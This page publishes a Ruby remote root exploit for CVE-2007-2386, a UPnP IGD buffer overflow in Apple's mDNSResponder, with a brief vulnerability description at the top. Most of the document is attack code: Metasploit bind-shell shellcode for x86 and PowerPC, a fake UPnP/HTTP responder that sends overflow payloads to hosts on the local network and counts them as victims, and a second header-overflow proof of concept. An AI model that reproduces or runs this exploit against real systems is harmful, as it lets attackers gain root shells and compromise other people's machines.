Apple Mac OS X mDNSResponder UPnP IGD Remote Arbitrary Code Execution (as root) Exploit

Table of contents

Published on:
2007-04-02 07:47:48 +0000 UTC
Last modified:
2022-08-22 10:00:56 +0000 UTC

From CERT:

mDNS uses IP multicast with DNS to provide the functionality of a DNS server for service discovery in networks that do not have a DNS server. mDNSResponder uses Multicast DNS Service Discovery for service discovery on the local network segment, and Unicast DNS Service Discovery for service discovery outside of the local network.

Bonjour provides zero-configuration networking for Apple OS X. mDNSResponder is included as a part of Bonjour and runs as a system service. mDNSResponder is a included in OS X and Apple TV.

mDNSResponder contains a buffer overflow vulnerability. This vulnerability occurs in the UPnP IGD (Internet Gateway Device Standardized Device Control Protocol) code that is used to create dynamic port mappings in consumer routers.

The shellcode options were reduced to a bind-type shell, in this particular version of the exploit. A proof of concept for a separate issue was also included.

Apple remediated these vulnerabilities on the 20th of June 2007.

Also affectionately known as the infamous “zeroday can happen to anyone” :tm: vulnerability, because the best-laid plans of mice and men often go awry, and anyone can get hit with a pre-auth remote root, especially in 2007 with Apple products :-)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
#!/usr/bin/ruby
# Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
#

require "socket"
require "resolv"

# -------------- CONFIGURATION AND DEFAULTS
HTTP_SOURCE_PORT    = 1981 # change as desired

# Customize shellcode as desired:
SHELLCODE_AVAILABLE =  [
                # osx/x86/shell_bind_tcp - 74 bytes
                # http://www.metasploit.com
                # LPORT=10101
                {
                  :shellcode =>
                  "\x31\xc0\x50\x68\xff\x02\x27\x75\x89\xe7\x50\x6a\x01\x6a" +
                  "\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd" +
                  "\x80\x89\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50" +
                  "\x6a\x5a\x58\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f" +
                  "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x50" +
                  "\xb0\x3b\xcd\x80",
                  :arch => "x86",
                  :type => "bindshell"
                },
                
                # just for debugging - memory search friendly
                # int3 + ret + marker (0xdeadbabe)
                {
                  :shellcode => ("\xcc" * 48) + "\xc3" + [0xdeadbabe].pack('V'),
                  :arch => "x86",
                  :type => "debug"
                },
                
                # osx/ppc/shell_bind_tcp - 224 bytes
                # http://www.metasploit.com
                # LPORT=10101
                {
                  :shellcode =>
                  "\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00" +
                  "\x00\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78" +
                  "\x48\x00\x00\x0d\x00\x02\x27\x75\x00\x00\x00\x00\x7c\x88" +
                  "\x02\xa6\x38\xa0\x00\x10\x38\x00\x00\x68\x7f\xc3\xf3\x78" +
                  "\x44\x00\x00\x02\x7c\x00\x02\x78\x38\x00\x00\x6a\x7f\xc3" +
                  "\xf3\x78\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xc3\xf3\x78" +
                  "\x38\x00\x00\x1e\x38\x80\x00\x10\x90\x81\xff\xe8\x38\xa1" +
                  "\xff\xe8\x38\x81\xff\xf0\x44\x00\x00\x02\x7c\x00\x02\x78" +
                  "\x7c\x7e\x1b\x78\x38\xa0\x00\x02\x38\x00\x00\x5a\x7f\xc3" +
                  "\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00\x02\x7c\x00\x02\x78" +
                  "\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82\xff\xe5\x38\x00" +
                  "\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\xa5\x2a\x79" +
                  "\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63\x00\x28\x90\x61" +
                  "\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x00\x00\x3b" +
                  "\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xe0" +
                  "\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00",
                  :arch => "powerpc",
                  :type => "bindshell"
                }
]

#
# Simple helper methods to aid in the creation of sockets for Multicast DNS.
#
module MulticastDNS
  MDNS_ADDR = "224.0.0.251"     # do not modify
  UPNP_ADDR = "239.255.255.250" # do not modify
  MDNS_PORT    = 5353           # do not modify
  UPNP_PORT    = 1900           # do not modify

  class Gate
    attr_reader :sock, :maddr, :lport, :laddr
    
    #
    # Set a handful of options that might be required (sometimes platform dependent).
    # This helps to avoid conflicts like 'Already in use' errors. Raise SO_SNDBUF as
    # necessary.
    #
    def set_sockopt
      if Socket::SO_REUSEPORT
        @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEPORT, 1)
      end
  
      if Socket::SO_REUSEADDR
        @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, 1)
      end
  
      @sock.setsockopt(Socket::IPPROTO_IP, Socket::IP_TTL, 255)
      @sock.setsockopt(Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, 255)
      @sock.setsockopt(Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, @maddr)
      @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_SNDBUF, 65535)
    end

    def send(mesg, flags, *rest)
      @sock.send(mesg, flags, *rest)
    end
    
    def recvfrom(maxlen, flags = nil)
      @sock.recvfrom(maxlen, flags = nil)
    end
        
    #
    # Initialize the socket object, UDP dgram to multicast address and specified port.
    # Bind to any address.
    #
    def initialize(addr, port)
      @lport = port
      @laddr = addr
      @sock  = Socket.new(Socket::AF_INET, Socket::SOCK_DGRAM, Socket::IPPROTO_UDP)
      @maddr = Socket.gethostbyname(Resolv.getaddress(addr))[3] +
               Socket.gethostbyname(Socket::INADDR_ANY)[3]
      set_sockopt
      @sock.bind(Socket.pack_sockaddr_in(port, Socket::INADDR_ANY))
      return @sock
    end
  end
end

#
# Exploit for CVE-2007-2386
#
class PortOverflow
  #
  # Method 1: "Code execution" via mDNSStorage overwrite:
  # This is used also by the CANVAS MU module: we overwrite a ptr at the
  # mDNSStorage structure. we can reach this variable after a 21120 bytes
  # overwrite (Intel) in a reliable manner.
  #
  #  (gdb) p &g_szRouterHostPortDesc <-- overflow
  #  $4 = (char (*)[1024]) 0x3bda0
  #  (gdb) p &mDNSStorage
  #  $5 = (mDNS *) 0x41020
  #  (gdb) p 0x41020 - 0x3bda0
  #  $6 = 21120
  #
  #  [g_szRouterHostPortDesc][21120 bytes][mDNSStorage][ptr]
  #        at 0x3bda0......................at 0x41020..[***]
  #
  #  (gdb) p mDNSStorage->MainCallback 
  #  $12 = (mDNSCallback *) 0xcf5a <mDNS_StatusCallback>
  #
  # Once the MainCallback pointer is overwritten, controlling the execution
  # flow is trivial:
  # (gdb) list 3289
  # (...)
  # 3289            if (m->MainCallback)
  # 3290                    m->MainCallback(m, mStatus_ConfigChanged);
  # 3291            }
  #
  # There are other potential pointer overwrites but none of them seem to make
  # reliable exploitation possible.
  #
  def self.make_payload(addr, port, shellcode)
    buf = ""
    
    # Mac OS X fragments at approx. 16318. This breaks the exploit.
    if PLATFORM =~ /darwin/
      target_size = 16134
    else
      # good to go
      target_size = 21120
    end
    
    pad = target_size - (addr.to_s + ":" + port.to_s).length
    buf << ("A" * pad)
    buf << [0x41424344].pack("V") # m->MainCallback
    
    return buf
  end
  
  #
  # Create the uPNP response containing the payload in the Locaion header.
  # Location: http://[hostname]:[port][payload]/[path]/[...]
  #
  def self.make_upnp_powder(mhost, mport, remhost, shellcode = nil)
    randname = Rex::Text::rand_text_alphanumeric(4, "\xff")
    payload  = make_payload(remhost, mport, shellcode)
    "NOTIFY * HTTP/1.1\r\n" +
    "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n"+
    "Location: http://#{mhost}:#{mport}#{payload}/#{randname}.xml\r\n"+
    "USN: uuid:upnp-InternetGatewayDevice-1_0-12345678900001::WANIPConnection\r\n"+
    "\r\n"
  end

  #
  # Sends a HTTP response with XML data as specified via xml_data.
  #
  def self.make_http_powder(uhost, uport, xml_data = '')
    "HTTP/1.1 200 OK\r\n" +
    "Cache-Control:max-age=120\r\n"+
    "Location:http://#{uhost}:#{uport}/rootDesc.xml\r\n"+
    "Server:NT/5.0 UPnP/1.0\r\n"+
    "ST:upnp:rootdevice\r\n"+
    "USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777::upnp:rootdevice\r\n" +
    "EXT:\r\n" +
    "Content-Length: #{xml_data.length}\r\n\r\n"+
    xml_data
  end
end

#
# A leaked bug, later acquired by iDEFENSE.
# The problem can be abused by sending more than 30 headers in the uPNP
# response. The size of the array in which these are stored is fixed.
# Therefore, overflow condition.
#
class HeaderOverflow
  def self.make_payload(shellcode)
    headers = ''
     0.upto(400) do |i|
        headers << sprintf("%.4x: %s\r\n", i, [0x41424344].pack("V") * 8)
      end
    
    return headers
  end
  
  #
  # Generates a uPNP response including the generated headers.
  #
  def self.make_upnp_powder(uhost, uport, shellcode = nil)
    headers = make_payload(shellcode)
    
    "NOTIFY * HTTP/1.1\r\n" +
    "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n"+
    "Location: http://#{uhost}:#{uport}/rootDesc.xml\r\n" +
    "USN: uuid:upnp-InternetGatewayDevice-1_0-12345678900001::WANIPConnection\r\n"+
    headers +    "\r\n"
  end
end

#
# Hash to hold the relevant exploit information. Keeps track of
# few different things, including targets :>
#
EXPLOIT_STATUS = {
  :upnp           => 0,
  :http           => 0,
  :victims        => [],
  :bytesent       => 0,
  :mode           => nil,
  :arch           => nil,
  :payload        => nil,
  :extraopt       => nil
}
EXPLOIT_MODES = [ "port-bof", "header-bof" ]

def print_status(extra)
  EXPLOIT_STATUS[:victims].uniq!
  
  buffer = "[ "
  buffer << "UPNP: #{EXPLOIT_STATUS[:upnp]} "
  buffer << "HTTP: #{EXPLOIT_STATUS[:http]} "
  buffer << "Total-sent: #{EXPLOIT_STATUS[:bytesent]} "
  buffer << "Targets: #{EXPLOIT_STATUS[:victims].size} "
  buffer << "Mode: #{EXPLOIT_STATUS[:mode]} "
  if (extra.size > 0)
    buffer << (extra + " ")
  end
  buffer << "]"
  
  clearbuf = buffer + "\r\n"
  $stdout.printf(clearbuf)
  $stdout.flush
end

#
# Sets up the HTTP service listening on the port set in the configuration.
# Sets the necessary socket options and brings it up.
#
def setup_http_listener(http_src_addr = '127.0.0.1')
  sock = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
  sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, 1)
  sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_SNDBUF, 65535)
  sock.bind(Socket.pack_sockaddr_in(HTTP_SOURCE_PORT, http_src_addr))
  sock.listen(5)
  puts "++ HTTP: listening at #{http_src_addr}:#{HTTP_SOURCE_PORT}"

  return sock
end

#
#
#
def hack_the_gibson(http_src_addr = '127.0.0.1')
  upnpgate = MulticastDNS::Gate.new(MulticastDNS::UPNP_ADDR,
                                      MulticastDNS::UPNP_PORT)
  upnp_soc = upnpgate.sock
  upsndbuf = upnp_soc.getsockopt(Socket::SOL_SOCKET,Socket::SO_SNDBUF).unpack('i')
  puts "++ UPNP: sndbuf=#{upsndbuf} - listening at #{upnpgate.laddr}:#{upnpgate.lport}"
  
  udpjob = Thread.new do
    begin
      while (res = upnp_soc.recvfrom(65384))
        req, src  = res
        port,host = Socket.unpack_sockaddr_in(src)
        mulpowder = nil
        mypayload = nil
        
        case EXPLOIT_STATUS[:mode]
          when 'header-bof'
            mulpowder = HeaderOverflow.make_upnp_powder(http_src_addr, HTTP_SOURCE_PORT)
          when 'port-bof'
            mulpowder = PortOverflow.make_upnp_powder(http_src_addr, HTTP_SOURCE_PORT, host)
        end

        EXPLOIT_STATUS[:upnp]     += 1
        EXPLOIT_STATUS[:victims]  << { :host => host, :port => port }
        EXPLOIT_STATUS[:bytesent] += mulpowder.size
        print_status(" upnp-payload: #{mulpowder.size}")
        upnp_soc.send(mulpowder, 0, src)
      end
    rescue ::Exception => e
      $stderr.puts "Exception: #{e} #{e.backtrace}"
    end
  end
  
  # Spawn the HTTP service delivering responses
  http_soc = setup_http_listener(http_src_addr)
  while (res = http_soc.accept())
         cli, src = res
         Thread.new do
                 port,host = Socket.unpack_sockaddr_in(src)
                 data = ''
                 while (buff = cli.gets)
                         data << buff
                 end

                 hpowder                    = make_http_powder(http_src_addr, HTTP_SOURCE_PORT)
                 EXPLOIT_STATUS[:http]     += 1
                 EXPLOIT_STATUS[:bytesent] += hpowder.size
                 print_status(" http-payload: #{hpowder.size}")
                 print_status()
                 cli.syswrite(hpowder)
                 cli.shutdown
                 cli.close
         end
  end
end

#
# Main method. Does some homebrew argument parsing.
#
def main()  
  puts "[+] mDNSResponder remote exploit (header and UPNP flaws)"
  puts "[+] Copyright (c) 2008 Subreption LLC. All rights reserved."
  puts "[+] Proprietary source code - use only under the license agreement specified"
  puts "[+] in LICENSE.txt in your Subreption Security Pack distribution."
  
  target_token = ARGV[0].to_s.scan(/(.*):(.*):(.*)/).flatten!
  
  unless target_token
    puts "Usage: #{$0} [mode]:[arch]:[payload] [source address] [optional]"
    puts "ex. #{$0} port-bof:x86:bindshell 192.168.1.26"
    puts %q{
      Arguments or modifiers:
      --------------------------------

      Modes:
      
      heap-bof    :: abuses the Header parsing overflow
      port-bof    :: abuses the url port stack-based bof
      
      ---
      Optional:
      
      brute       :: bruteforce sending to the full port range
      
      Payloads:
        bindshell = Classic bindshell on port 10101
        debug     = For debugging
      
    }
    
    exit
  else
    shellcode = SHELLCODE_AVAILABLE.find { |t|
      t[:arch] == target_token[1] and t[:type] == target_token[2]
    }
    unless shellcode
      puts "-- Unknown payload and/or architecture selected, please check."
      exit
    end
    
    unless EXPLOIT_MODES.find {|t| t == target_token[0]}
      puts "-- Unknown mode set, please check."
      exit
    end
    
    EXPLOIT_STATUS[:mode]     = target_token[0]
    EXPLOIT_STATUS[:arch]     = target_token[1]
    EXPLOIT_STATUS[:payload]  = shellcode
    http_source_addr          = ARGV[1]
    EXPLOIT_STATUS[:extraopt] = ARGV[2]
    
    puts "++ Arguments: #{ARGV.to_s}"
  end

  hack_the_gibson(http_source_addr)
end

if __FILE__ =~ /mdns_warrior/
  main()
end